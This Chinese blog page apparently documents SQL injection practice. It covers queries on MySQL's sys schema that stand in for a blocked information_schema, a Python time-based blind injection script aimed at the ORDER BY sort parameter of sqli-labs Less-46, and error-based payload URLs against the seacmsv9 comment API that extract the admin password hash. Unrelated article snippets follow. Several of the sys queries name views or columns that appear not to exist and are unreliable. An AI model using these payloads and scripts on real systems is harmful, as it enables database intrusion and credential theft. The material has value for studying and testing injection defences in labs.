当前位置: 首页 > news >正文

绕过information_schema与order by注入以及seacsmv9注入

一:information_schema绕过

1,、sys数据库包含了许多视图,这些视图整合了来自information_schema和performance_schema的数据,攻击者可以利用这些视图来获取数据库结构信息。
-- 获取所有数据库名
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

-- 获取指定数据库中的所有表名
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name';

-- 获取指定表的所有列名
SELECT column_name 
FROM sys.digest_columns 
WHERE schema_name = 'your_database_name' AND table_name = 'your_table_name';
2、攻击者可以通过sys数据库中的一些视图来获取用户和权限相关的信息。
-- 获取用户和权限信息
SELECT user, host, authentication_string 
FROM sys.user_summary 
WHERE user != 'root';
3、攻击者可以将对sys数据库视图的查询与正常业务查询进行联合,以绕过一些简单的安全检测机制。
SELECT id, username FROM users 
UNION 
SELECT table_schema, table_name FROM sys.schema_table_statistics;
4、攻击者可以利用sys数据库视图的查询结果进行盲注攻击,逐步获取敏感信息。
-- 假设存在一个用户登录验证的漏洞
SELECT * FROM users WHERE username = 'admin' AND password = '' 
AND (SELECT COUNT(*) FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name') > 0;
5、sys 数据库中的某些视图可以提供关于索引的详细信息,攻击者可以利用这些视图绕过对 information_schema.statistics 的直接访问限制来获取索引信息。
-- 获取指定数据库中表的索引信息
SELECT index_name, table_name, column_name
FROM sys.schema_index_statistics
WHERE table_schema = 'your_database_name';
6、攻击者可以通过分析 sys 数据库中一些反映数据库活动和性能的视图,间接推测出数据库的数据字典信息,即使不能直接获取到完整的表结构和列信息,也能得到一些有价值的线索。
-- 通过查看表的读写统计信息推测表的重要性和大致结构
SELECT table_schema, table_name, rows_fetched, rows_inserted, rows_updated, rows_deleted
FROM sys.schema_table_statistics
WHERE table_schema = 'your_database_name';

二:order by的注入

import requests
import time

def inject_username(url):
    username = ''
    for i in range(1, 50):  # 假设用户名最长为 50 个字符
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注 payload
            payload = f"if((ascii(substr((SELECT username FROM users LIMIT 0,1),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        username += chr(mid)
    print(f"最终获取到的用户名: {username}")

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli-labs-php7/Less-46/index.php'
    inject_username(url)

确定注入点:代码中通过 sort 参数进行注入,将构造的时间盲注 payload 传递给该参数。
时间盲注原理:利用 if 函数和 sleep 函数,根据数据库响应时间来判断条件是否成立,从而逐字符获取所需信息。

三:seacsmv9报错注入

seacmsv9漏洞文件:./comment/api/index.php

漏洞参数:$rlist

漏洞的源代码:

 session_start();
 require_once("../../include/common.php");
 $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
 $page = (isset($page) && is_numeric($page)) ? $page : 1;
 $type = (isset($type) && is_numeric($type)) ? $type : 1;
 $pCount = 0;
 $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
 //缓存第一页的评论
 if($page<2)
 {
         if(file_exists($jsoncachefile))
         {
                 $json=LoadFile($jsoncachefile);
                 die($json);
         }
 }
 $h = ReadData($id,$page);
 $rlist = array();
 if($page<2)
 {
         createTextFile($h,$jsoncachefile);
 }
 die($h);        
  
 function ReadData($id,$page)
 {
         global $type,$pCount,$rlist;
         $ret = array("","",$page,0,10,$type,$id);
         if($id>0)
         {
                 $ret[0] = Readmlist($id,$page,$ret[4]);
                 $ret[3] = $pCount;
                 $x = implode(',',$rlist);
                 if(!empty($x))
                 {
                 $ret[1] = Readrlist($x,1,10000);
                 }
         }
         $readData = FormatJson($ret);
         return $readData;
 }
  
 function Readmlist($id,$page,$size)
 {
         global $dsql,$type,$pCount,$rlist;
         $ml=array();
         if($id>0)
         {
                 $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                 $rs = $dsql ->GetOne($sqlCount);
                 $pCount = ceil($rs['dd']/$size);
                 $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                 $dsql->setQuery($sql);
                 $dsql->Execute('commentmlist');
                 while($row=$dsql->GetArray('commentmlist'))
                 {
                         $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                         $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                 }
         }
         $readmlist=join($ml,",");
         return $readmlist;
 }
  
 function Readrlist($ids,$page,$size)
 {
         global $dsql,$type;
         $rl=array();
         $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
         $dsql->setQuery($sql);
         $dsql->Execute('commentrlist');
         while($row=$dsql->GetArray('commentrlist'))
         {
                 $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
         }
         $readrlist=join($rl,",");
         return $readrlist;
 }

注入风险:($id、$page 和 $type 这些变量被直接用于 SQL 查询语句中,并且代码仅对这些变量进行了简单的 is_numeric 检查,没有对输入进行严格的过滤和转义处理,这就可能导致 SQL 注入漏洞。)

$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page - 1) * $size.",$size ";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

报错数据库名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

因是表sea_comment为空,无返回值
在表sea_comment插入数据,再次注入查看

http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进入MD5解密后得到

相关文章:

绕过information_schema与order by注入以及seacsmv9注入

一:information_schema绕过 1,、sys数据库包含了许多视图&#xff0c;这些视图整合了来自information_schema和performance_schema的数据&#xff0c;攻击者可以利用这些视图来获取数据库结构信息。 -- 获取所有数据库名 SELECT DISTINCT table_schema FROM sys.schema_table_…...

在LangFlow中集成OpenAI Compatible API类型的大语言模型

一、背景与核心价值 从Dify换到这个langflow真的时各种的不适应啊。 就比如这个OpenAI Compatible API,这不应该是基本操作嘛? 算了,服了,习惯了就好了。咱闲言少叙,正片开始: LangFlow作为LangChain的可视化开发工具,其最大优势在于无需编写代码即可构建复杂的大模型…...

PING命令TTL解析

在 ping 命令中&#xff0c;TTL&#xff08;Time to Live&#xff0c;生存时间&#xff09; 是 IP 数据包的核心字段之一&#xff0c;用于控制数据包在网络中的生命周期。以下是针对 TTL 的简明解析&#xff1a; 1. TTL 的核心作用 防循环机制&#xff1a;TTL 是一个计数器&a…...

Hadoop 基础原理

Hadoop 基础原理 基本介绍Hadoop 的必要性Hadoop 核心组件Hadoop 生态系统中的附加组件 HDFSHDFS 集群架构HDFS 读写流程HDFS 写流程HDFS 读流程 NameNode 持久化机制 MapReduce底层原理示例 Hadoop 是一个由 Apache 基金会开发的分布式系统基础架构&#xff0c;主要解决海量数…...

蓝桥杯单片机基础部分——1.5基础模块代码升级

前言 之前的蓝桥杯单片机基础部分——1、基础模块代码发现有的同学不太会使&#xff0c;这样的话就给他们都封装一下函数&#xff0c;额外封装一下蜂鸣器和继电器&#xff0c;这就全了&#xff0c;到时候的逻辑只要没问题就没啥事了 LED灯模块 现在&#xff0c;给这里封装一个…...

PyTorch常用函数总结(持续更新)

本文主要记录自己在用 PyTorch复现经典模型 过程中遇到的一些函数及用法&#xff0c;以期对 常见PyTorch函数 更加熟练~ 官方Docs&#xff1a;PyTorch documentation — PyTorch 2.6 documentation 目录 数据层面 torch.sign(tensor) torch.tensor(np.eye(3)[y]) torch.on…...

Docker 常用命令大全

一、启动类 1. 启动 docker systemctl start docker 2. 关闭 docker systemctl stop docker 3. 重新启动 docker systemctl restart docker 4. docker 设置自启动 systemctl enable docker 5. 查看 docker 运行状态 systemctl status docker 6. 查看 docker 版本号等信息 docke…...

单片机裸机编程:状态机与其他高效编程框架

在单片机裸机编程中&#xff0c;状态机是一种非常强大的工具&#xff0c;能够有效管理复杂的逻辑和任务切换。除了状态机&#xff0c;还有其他几种编程模式可以在不使用 RTOS 的情况下实现高效的程序设计。以下是一些常见的方法&#xff1a; 1. 状态机编程 状态机通过定义系统…...

TCP,http,WebSocket

TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;和HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超文本传输协议&#xff09;都是网络通信中的重要协议&#xff0c;但它们在网络协议栈的不同层次上工作&#xff0c;各自负责不同…...

gotool在线工具集

1. 包含各种 sql 处理 2. 包含 json 处理 3. 包含 图片处理 4. 跨平台传输 gotool...

HBuilder X中,uni-app、js的延时操作及定时器

完整源码下载 https://download.csdn.net/download/luckyext/90430165 在HBuilder X中&#xff0c;uni-app、js的延时操作及定时器可以用setTimeout和setInterval这两个函数来实现。 1.setTimeout函数用于在指定的毫秒数后执行一次函数。 例如&#xff0c; 2秒后弹出一个提…...

ow rank decomposition如何用于矩阵的分解

1. 什么是矩阵分解和低秩分解 矩阵分解是将一个矩阵表示为若干结构更简单或具有特定性质的矩阵的组合或乘积的过程。低秩分解&#xff08;Low Rank Decomposition&#xff09;是其中一种方法&#xff0c;旨在将原矩阵近似为两个或多个秩较低的矩阵的乘积&#xff0c;从而降低复…...

2.3做logstash实验

收集apache日志输出到es 在真实服务器安装logstash&#xff0c;httpd systemctl start httpd echo 666 > /var/www/html/index.html cat /usr/local/logstash/vendor/bundle/jruby/2.3.0/gems/logstash-patterns-core-4.1.2/patterns/httpd #系统内置变量 cd /usr/local/…...

JAVAweb之过滤器,监听器

文章目录 过滤器认识生命周期FilterConfigFilterChain过滤器执行顺序应用场景代码 监听器认识ServletContextListenerHttpSessionListenerServletRequestListener代码 过滤器 认识 Java web三大组件之一&#xff0c;与Servlet相似。过滤器是用来拦截请求的&#xff0c;而非处…...

IO进程 day05

IO进程 day05 9. 进程9. 9. 守护进程守护进程的特点守护进程创建步骤 10. 线程10.1. 线程的概念10.2. 进程和线程的区别10.2. 线程资源10.3. 线程的函数接口1. pthread_create-创建线程线程函数和普通函数的区别 2. pthread_exit3.线程资源回收函数join和detach的区别 获取线程…...

Mac 散热救星:Macs Fan Control,让你的苹果电脑“冷静”又安静!

各位果粉们&#xff0c;是不是经常遇到这样的烦恼&#xff1a;用着用着电脑&#xff0c;突然就发热卡顿&#xff0c;风扇狂转噪音大得跟拖拉机似的&#xff1f;别担心&#xff0c;今天给大家安利一款超实用的软件 —— Macs Fan Control&#xff0c;它可是让苹果电脑“冷静”又…...

警惕将“数据标注”岗位包装为“大数据工程师”充数

数据标注&#xff08;Data Annotation&#xff09;是人工智能和大数据产业链中的基础性工作&#xff0c;其核心任务是为原始数据添加标签或注释&#xff0c;使计算机能够识别和学习数据中的特征&#xff0c;从而训练出更精准的机器学习或深度学习模型。以下是具体解析及它与“大…...

C语言 —— 此去经年 应是良辰好景虚设 - 函数

目录 1. 函数的概念 1.1 库函数 1.2 自定义函数 2. 形参和实参 3. return 语句 4. 数组做函数参数 5. 嵌套调用和链式访问 5.1 嵌套调用 5.2 链式访问 6. 函数的声明和定义 6.1 单个文件 6.2 多个文件 7. static 和 extern 7.1 static 修饰局部变量 7.2 static 修…...

最新前端框架选型对比与建议(React/Vue/Svelte/Angular)

前端框架选型对比与建议&#xff08;React/Vue/Svelte/Angular&#xff09; 一、核心框架技术特性对比&#xff08;基于最新版本&#xff09; 维度React 19 25Vue 3.5 12Svelte 5 25Angular 19 5核心理念函数式编程、JSX语法、虚拟DOM渐进式框架、组合式API、模板语法编译时框…...

AOP基础-01.快速入门

一.AOP 对于统计每一个业务方法的耗时这一操作&#xff0c;如果再业务层的每一个方法前获取方法运行的开始时间&#xff0c;方法结束获取结束时间&#xff0c;然后计算执行耗时&#xff0c;那这样就太繁琐了。能不能定义一个模板方法&#xff0c;使得该方法能够在业务层的方法执…...

为什么MySQL选择使用B+树作为索引结构

B树是MySQL最常见的索引结构&#xff0c;大部分存储引擎都支持 B 树索引。 相对于其他竞争力强的数据结构&#xff0c;B树都有战胜它们成为大多时候MySQL选择使用索引结构的理由&#xff1a; 第一个强有力的竞争对手是B树&#xff1a; 1. B树每个节点都存储了完整的数据&…...

基于SSA-KELM-Adaboost(麻雀搜索优化的极限学习机自适应提升算法)的多输入单输出回归预测【MATLAB】

SSA-KELM-Adaboost 是一种结合了麻雀搜索算法&#xff08;SSA&#xff09;​、核极限学习机&#xff08;KELM&#xff09;​和Adaboost集成学习的复合回归预测模型。该模型通过参数优化与集成策略提升预测精度和鲁棒性&#xff0c;适用于复杂非线性回归问题。以下是其核心理论与…...

分享些常用的工具类

一、照片 1、Unsplash&#xff1a;https://unsplash.com/ 2、pixabay&#xff1a;https://pixabay.com/zh/ 二、壁纸 1、Wallpaper Engine 2、wallhaven&#xff1a;https://wallhaven.cc/ 3、极简壁纸&#xff1a;https://bz.zzzmh.cn/ 三、AI语音 1、微软Azure项目&…...

Apache SeaTunnel 构建实时数据同步管道(最新版)

文章作者 王海林 白鲸开源 数据集成引擎研发 Apache SeaTunnel Committer & PMC Member&#xff0c;Apache SkyWalking Committer&#xff0c;多年平台研发经验&#xff0c;目前专注于数据集成领域。 导读 在当今数字化快速发展的时代&#xff0c;数据已然成为企业决策…...

96.【C语言】解析预处理(4)

目录 5.条件编译 #ifdef 其他条件编译指令 #if 多个分支的条件编译 判断是否被定义 嵌套指令 6.头文件的包含方式 本地文件包含 库文件包含 嵌套文件包含 问题:头文件的重复包含 解决问题:避免头文件的重复包含 方法1:#pragma once 方法2:#ifndef、#define和#en…...

linux用户操作与权限

Linux的root用户 root用户&#xff08;超级管理员&#xff09; root用户拥有最大的系统操作权限。 普通用户的权限一般在其home目录内是不受限的&#xff0c;但是出来自己的home目录&#xff0c;仅有只读和执行权限。 su su命令切换到root账号 语法&#xff1a;su [-] [用户…...

Proof Beyond Boundaries: Hong Kong zkNight 活动精彩回顾

2 月 19 日&#xff0c;随着夜幕的降临&#xff0c;一场汇聚行业智慧与前瞻视野的高端主题活动 ——Proof Beyond Boundaries: Hong Kong zkNight&#xff0c;在香港铜锣湾 Vpoint 的 6/F 盛大启幕。本次活动由 ZEROBASE 主办&#xff0c;Techub News 承办&#xff0c;吸引了众…...

QT零基础学习之路(五)--自定义信号和槽

源码地址&#xff08;优先更新&#xff09;&#xff1a;点击此处...

Pytorch实现之GIEGAN(生成器信息增强GAN)训练自己的数据集

简介 简介:在训练数据样本之前首先利用VAE来推断潜在空间中不同类的分布,用于后续的训练,并使用它来初始化GAN。与ACGAN和BAGAN不同的是,提出的GIEGAN有一个分类器结构,这个分类器主要判断生成的图像或者样本图像属于哪个类,而鉴别器仅判断图像是来自于生成器还是真实样…...

HTTP 动态报错码的原因和解决方法

目录 1xx&#xff08;信息性状态码&#xff09; 2xx&#xff08;成功状态码&#xff09; 3xx&#xff08;重定向状态码&#xff09; 4xx&#xff08;客户端错误状态码&#xff09; 5xx&#xff08;服务器错误状态码&#xff09; 参考文章 以下是 HTTP 动态报错码的常见原…...

单核处理器编程会简单很多的原因

乱序执行的本质:单核处理器的乱序执行(Out-of-Order Execution)允许指令动态调度以提升效率,但其核心原则是保持程序语义的单线程正确性。所有指令的最终提交(Retirement)必须严格按照程序顺序完成,以确保异常处理、中断和外部观察结果的正确性。 提交阶段的顺序性:尽管…...

C++之vector和list辨析

std::vector 和 std::list 是 C 标准库中两种常用的容器&#xff0c;它们都用于存储和管理元素集合&#xff0c;但在底层实现和性能特性上有显著的区别。 1. 底层实现 std::vector: 基于动态数组实现。元素在内存中是连续存储的。支持随机访问&#xff08;通过下标访问元素&a…...

C++ 八股(整理记录)

1. 指针和引用的区别 定义与初始化&#xff1a; 指针&#xff1a;可以声明时不初始化&#xff0c;并且可以在之后指向任何同类型的变量。指针是一个变量&#xff0c;它存储的是另一个变量的地址。 int a 10; int* p; // 声明一个指向int的指针 p &a; // 将p指向变量a的…...

docker部署GPU环境

使用 Docker 部署 GPU 环境涉及到几个关键步骤,以下是详细步骤: 1. 安装 NVIDIA 驱动程序 确保你的系统已经安装了 NVIDIA GPU 驱动。这是使用 GPU 的前提条件。 2. 安装 Docker 和 nvidia-container-toolkit 首先,确保你已经安装了 Docker。然后,安装 NVIDIA Containe…...

单片机裸机编程-时机管理

对于 RTOS 实时操作系统&#xff0c;我们是通过 TASK&#xff08;任务&#xff09;进行底层操作的&#xff0c;这与裸机编程中的函数&#xff08;fun&#xff09;类似。不同的任务或函数实现不同的功能&#xff0c;在RTOS中&#xff0c;单片机有信号量、队列等不同任务之间的通…...

使用VScode开发STM32:基于CMake(包含标准库和HAL库工程)

使用VScode开发STM32&#xff1a;基于CMake&#xff08;包含标准库和HAL库工程&#xff09; 本教程使用VScode作为代码编辑工具、Cmake作为构建系统生成器、Make进行构建系统、使用arm-none-eabi-gcc进行交叉编译、使用OpenOCD作为代码下载与调试工具&#xff0c;最终搭建出适…...

Linux操作与权限2

查看权限控制信息 序号1&#xff0c;表示文件&#xff0c;文件夹权限控制信息 序号2&#xff0c;表示文件&#xff0c;文件夹所属用户 序号3&#xff0c;表示文件&#xff0c;文件夹所属用户组 12345678910d/l/-r/-w/-x/-r/-w/-x/-r/-w/-x/- 权限细节总共分为10个槽位 表格1&…...

解析第十一页

多选707、如图所示组网,SWA、SWB、SWC、SWD运行RSTP,则以下说法正确的是? A、可以在SWB的GE0/0/2端口开启边缘端口,让连接终端的接口快速进入转发状态 B、边缘端口收到BPDU之后会重新参与生成树的计算 C、可以在SWC的GEO/0/2端口开启边缘端口,让连接终端的接口快速进入转…...

SQL之order by盲注

目录 一.order by盲注的原理 二.注入方式 a.布尔盲注 b.时间盲注 三.防御 一.order by盲注的原理 order by子句是用于按指定列排序查询结果&#xff0c;列名或列序号皆可。 order by 后面接的字段或者数字不一样&#xff0c;那么这个数据表的排序就会不同。 order by 盲…...

阻止浏览器的默认缩放机制

在移动端浏览器中&#xff0c;当用户点击输入框&#xff08;如密码输入框&#xff09;时&#xff0c;页面可能会自动放大以提高可读性。这种行为通常是由于浏览器的默认缩放机制引起的。要阻止这种自动放大行为&#xff0c;可以采取以下几种方法&#xff1a; 使用 viewport 元…...

python 引用父目录:层级的模块

from pathlib import Path import sys 获取 project 目录 project_dir Path(file).resolve().parent.parent 将 project 目录添加到 sys.path 中 sys.path.append(str(project_dir)) 导入 support 模块 import support support.print_func(“Runoob”)...

实用:查找Linux进程调度统计信息的三个方法

实用&#xff1a;查找Linux进程调度统计信息的三个方法 在现代操作系统中&#xff0c;理解进程调度行为对于优化性能和解决瓶颈问题至关重要。本文将详细介绍如何在Linux系统中获取进程从调度队列中调入&#xff08;enqueue&#xff09;和调出&#xff08;dequeue&#xff09;…...

以下是自定义针对 Vite + TypeScript 项目的完整路径别名配置流程:

以下是针对 Vite TypeScript 项目的完整路径别名配置流程&#xff1a; 1. 安装必要依赖 bash npm install -D types/node 2. 配置 vite.config.ts typescript // vite.config.ts import { defineConfig } from vite import vue from vitejs/plugin-vue import path from pat…...

基于Matlab实现汽车远近光灯识别的详细步骤及代码示例

以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例&#xff0c;主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理&#xff1a;包括读取图像、灰度化、去噪等操作&#xff0c;以提高后续处理的准确性。边缘检测&#xff1a;找出图像中的边缘信息…...

Solidity 开发环境

Solidity 开发环境 Solidity编辑器&#xff1a;Solidity编辑器是⼀种专⻔⽤于编写和编辑Solidity代码的编辑器。常⽤的Solidity编辑器包括 Visual Studio Code、Atom和Sublime Text。以太坊开发环境&#xff1a;以太坊开发环境&#xff08;Ethereum Development Environment&a…...

Ollama+Cherrystudio+beg-m3+Deepseek R1 32b部署本地私人知识库(2025年2月win11版)

之前综合网络各方面信息得到的配置表&#xff1a; 在信息爆炸的时代&#xff0c;数据安全和个性化需求愈发凸显。搭建本地私人知识库&#xff0c;不仅能确保数据的安全性&#xff0c;还能根据个人需求进行个性化定制&#xff0c;实现知识的高效管理和利用。随着技术的不断发展…...

vue3.0将后端返回的word文件流转换为pdf并导出+html2pdf.js将页面导出为pdf

实现思路 1.将Word文档转换为HTML&#xff1a;mammoth.js&#xff0c;它可以将.docx文件转换为HTML 2.将HTML转换为PDF&#xff1a;使用html2pdf.js将HTML转换为PDF 如果想要相同的效果&#xff0c;也可以把前端页面直接导出转换为pdf: 运用的插件&#xff1a;html2pdf.js 后端…...

【心得】缓存穿透与缓存击穿总是记混,一文从英语单词含义角度分析带你区分清楚!

一句话省流版&#xff1a;缓存穿透的英语为cache penetration,可以翻译为缓存渗透&#xff0c;“渗透”联想到网安的攻击渗透&#xff0c;故缓存穿透是绕过防护进行攻击&#xff1b; 缓存击穿的英语为"cache breakdown"&#xff0c;可以翻译为缓存故障&#xff0c;“…...

day02

作业2 为 Activity 设置2种不同的启动模式并通过 adb 命令进行查看任务栈信息&#xff0c;并且打印生命周期方法执行日志 step1&#xff1a;生成第二个Activity和相应配置、 一个是singleTask模式&#xff0c;还一个是mainActivity的默认格式 step2&#xff1a;打印生命周期…...

JavaScript 简单类型与复杂类型-堆和栈

深入理解JavaScript中的简单类型&#xff08;基本数据类型&#xff09;与复杂类型&#xff08;引用数据类型&#xff09;如何在内存中存储对于编写高效、无误的代码至关重要。本文将探讨这两种类型的差异&#xff0c;以及它们在内存中的存储机制——栈&#xff08;Stack&#x…...